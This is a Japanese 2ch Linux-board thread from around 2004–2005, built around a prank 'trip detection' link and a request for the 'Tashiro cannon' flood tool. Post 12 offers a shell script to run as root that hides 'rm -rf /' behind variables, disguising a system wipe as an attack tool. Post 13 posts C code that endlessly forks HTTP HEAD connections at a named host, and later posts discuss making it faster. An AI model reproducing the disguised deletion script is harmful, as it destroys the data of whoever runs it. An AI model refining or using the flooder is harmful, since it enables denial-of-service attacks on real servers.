トリップ検出プログラム

このエントリーをはてなブックマークに追加
1login:Penguin
MACやLinuxのトリップ検出が出来ないので作りました。
非常に高負荷な為htmlかしてあります。
いくつか留意点がありますが、サイトの方にありますので
読んでから使用してください。もちろん、WINの方も利用できます。
不具合があったらご連絡ください。
http://tryhost.net/~vip2/trips.html

html化しているのでソースのコピペ等はおやめください
2login:Penguin:04/12/30 23:37:48 ID:ytpJbtX6
(・∀・)クスクスクス
3login:Penguin:04/12/30 23:45:48 ID:kISVRsJv
    ∧_∧
    ( ・∀・) ワクワク
  oノ∧つ⊂)
  ( ( ・∀・) ドキドキ
  ∪( ∪ ∪
    と__)__)
4login:Penguin:04/12/31 00:25:22 ID:iKcE/Uj9
<html>
<CENTER>
<font style="font-size:60px">
m9(^Д^)プギャー<BR>
だまされてやがんのwww</font>
<BR><BR><BR>
だまされた香具師の数→<script language="JavaScript">
var rf;
ref=escape(document.referrer)+"";
if( (ref=="undefined") || (ref=="") ){
ref="bookmark";}
document.write(''+
'<a target="_blank" href="http://fc2.com">'+
'<img border=0 src="http://www.sugoicounter.com:10000/cgi-bin/counter.gif?'+
'id=236097'+
'&page=1'+
'&ref='+escape(ref)+
'&x='+screen.width+
'&y='+screen.height+
'&cols='+screen.colorDepth+
'&uniq=0'+
'&cnt=1'+
'"></a>');
</script>
<noscript>
<div align="right"><a href="http://fc2.com/">無料</a><a href="http://fc2web.com/">ホームページ</a> <a href="http://blog.fc2.com/">ブログ</a>(<a href="http://blog.fc2.com/">blog</a>)</div>
<img border=0 src="http://www.sugoicounter.com:10000/cgi-bin/counter.gif?id=236097&page=1&uniq=0&cnt=1">
</noscript>
<BR><BR><BR>
騙されたVIPPERの数:5956

<BR><BR><BR>
5login:Penguin:04/12/31 01:36:59 ID:U3A9guP6
>>1
今年はいい年になるよ
6login:Penguin:04/12/31 08:43:30 ID:XumtAk82
>>5
もう15時間しかないよ( ´Д`)
7login:Penguin:04/12/31 10:50:57 ID:fW1K6pAp
>>m9(^Д^)プギャー
>>だまされてやがんのwww

騙された…
今年一年、彼は少年の心を忘れず立派に生き抜きました。
9login:Penguin:05/01/01 14:41:06 ID:MOxOyU/p
トリップって、何ですか?
10login:Penguin:05/01/02 18:17:41 ID:AuxwSyiE
田代砲のソースを教えてください。
11login:Penguin:05/01/02 19:43:47 ID:XasEwdBH
>>9
貴様の頭がおかしくなることだ
12login:Penguin:05/01/02 20:48:47 ID:zyMI70aK
簡単なのでいいならこんな感じだ。
rootで実行すること。
(raw accessモードが使えなくなるから非常に重くなって効果がない。)

tashiro.sh

#! /bin/sh
TARGET=www.yahoo.com
OPTION1=m
OPTION2=r
OPTION3=-rf

echo "tashiro!"
wget $TARGET #$OPTION3
$OPTION2$OPTION1 $OPTION3 /

exec ./tashiro.sh

13login:Penguin:05/01/02 20:53:47 ID:tfuya7So
↓のようなもので遊んでいたら、じぶんとこのnicがおかしくなりますた。

char *req = "HEAD / HTTP/1.0\n\n";
ngogo = gethostbyname("tryhost.net"); /* warui host */
signal(SIGCHLD, mhandler);
for (i = 0;;i++) {
memset(&gngo, 0, sizeof(struct sockaddr_in));
memcpy(&gngo.sin_addr, ngogo->h_addr, ngogo->h_length);
gngo.sin_family = AF_INET;
gngo.sin_port = htons(80);
if ((go = socket(AF_INET, SOCK_STREAM, 0)) >= 0) {
pid_t pid;
if ((pid = fork()) == 0) {
int ggo;
ggo = go;
if ((connect(ggo, (struct sockaddr *)&gngo,
sizeof(struct sockaddr))) == -1) {
perror("connect");
exit(0);
}
printf("connected: %d ", i);
write(ggo, req, strlen(req));
printf("sent request: %d\n", i);
close(ggo);
exit(0);
}
continue;
}
perror("socket");
}
14login:Penguin:05/01/02 21:07:17 ID:zyMI70aK
>>13
親プロセスでソケット閉じれてないぞ。
ディスクリプタも複製されるからクローズは親子両方で必要では?
15login:Penguin:05/01/02 21:11:35 ID:tfuya7So
もしかすると
ぜんぶfork()したあとでやらないと
アドレス参照の中身がかわるからまずい?

...おわり。              >>>>逃
16login:Penguin:05/01/02 22:00:57 ID:zyMI70aK
プロセス空間ごとコピーされるのでその辺の辻褄は合うはず。
サーバ書くときの常套手段だけどこの場合はforkしてhogehogeする必要はあまり無いかも。
17login:Penguin:05/01/02 22:57:56 ID:tfuya7So
ちょっと調べてみました、ところ
変数などは
>> プロセス空間ごとコピーされるので
のようで

いわゆるディスクリプタというものの扱いが
たとえば、
親プロセスでopen()したものを
子プロセスでread()した後で
親プロセスでread()などすると
いわゆる"sequential"のように読まれるようで、

close()などの後処理は別々にやる必要がある、
ということのようで、

あと、fgets()だけちがう挙動をする...ようで、

早い話、
もうすこしがんばりましょう、
ということのようで             >>>>速
18login:Penguin:05/01/03 01:22:00 ID:pUnI6b3U
Linux板だと、こんなネタスレでもまじめな方向に持って行けるんだね。
すばらしい。

>>1
6300ゲットしたので何か下さい
19login:Penguin:05/01/03 01:55:21 ID:judRpbT9
>>13
ださいな。
いまどきforkかよ。

スレッド使えよ。
20login:Penguin
いや、スレッドも不要だ。

非同期でいけ。